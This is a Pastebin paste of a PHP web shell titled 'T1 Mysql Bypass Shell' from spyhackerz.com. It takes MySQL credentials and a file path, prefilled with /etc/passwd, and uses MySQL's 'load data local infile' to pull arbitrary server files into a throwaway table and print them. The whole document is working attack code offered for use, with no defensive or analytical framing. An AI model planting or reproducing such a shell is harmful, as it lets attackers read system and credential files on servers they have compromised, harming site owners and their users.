daily pastebin goal
62%
SHARE
TWEET

Spyhackerz.com Mysql Load

a guest Jan 25th, 2016 122 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. session_start();
  3. @$_SESSION['host']=@$_POST['host'];
  4. @$_SESSION['user']=@$_POST['user'];
  5. @$_SESSION['password']=@$_POST['password'];
  6. @$_SESSION['db']=@$_POST['db'];
  7. ?>
  8. <HTML>
  9. <title>T1 Mysql Bypass Shell</title>
  10. <BODY bgcolor=#000000>
  11. <div align="center">
  12.     <table border="0" width="80%">
  13.         <tr>
  14.             <td>
  15.             <form method="POST" action="">
  16.                 <p><font color="#FF0000">HOST: </font>
  17.                 <input type="text" name="host" value="<?php echo @$_SESSION['host']; ?>" size="20"> <font color="#FF0000">|  
  18.                 USER : </font><input type="text" name="user" value="<?php echo @$_SESSION['user']; ?>" size="20">
  19.                 <font color="#FF0000">| PASSWORD : </font>
  20.                 <input type="text" name="password" value="<?php echo @$_SESSION['password']; ?>" size="20"> <font color="#FF0000">|  
  21.                 DATABASE : </font><input type="text" name="db" value="<?php echo @$_SESSION['db']; ?>" size="20"></p>
  22.                 <p><font color="#FF0000">FILE : </font>
  23.                 <input type="text" value="/etc/passwd" name="path" size="140"></p>
  24.                 <p><input type="submit" value="G&#246;nder" name="B1"></p>
  25.             </form>
  26.             <p><font color="#FF0000">T1;  
  27.             - T1 spyhackerz.com</font></td>
  28.         </tr>
  29.     </table>
  30.  
  31. </div>
  32.     <font color="red">
  33.     <?php
  34.     if(@$_POST['path']){
  35.     $host = $_SESSION['host'];
  36.     $user = $_SESSION['user'];
  37.     $pass = $_SESSION['password'];
  38.     $db = $_SESSION['db'];
  39.     if(mysql_connect("$host","$user","$pass")){
  40.     mysql_select_db($db);
  41.     mysql_query("drop table ayaz");
  42.     mysql_query("create table ayaz (pa varchar(5024))");
  43.     $path = $_POST['path'];
  44.     $sql = "load data local infile '$path' into table ayaz";
  45.     mysql_query("$sql");
  46.     $son = mysql_query("select * from ayaz");
  47.     echo '<textarea cols="100" rows="50">';
  48.     while($yaz = mysql_fetch_array($son)){
  49.     echo $yaz["pa"]."\n";
  50.     }
  51.     echo '</textarea>';
  52.     }else{
  53.     echo "Mysql Bilgileri Yanlis";
  54.     }
  55.     }
  56.     ?>
  57. </body>
  58. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top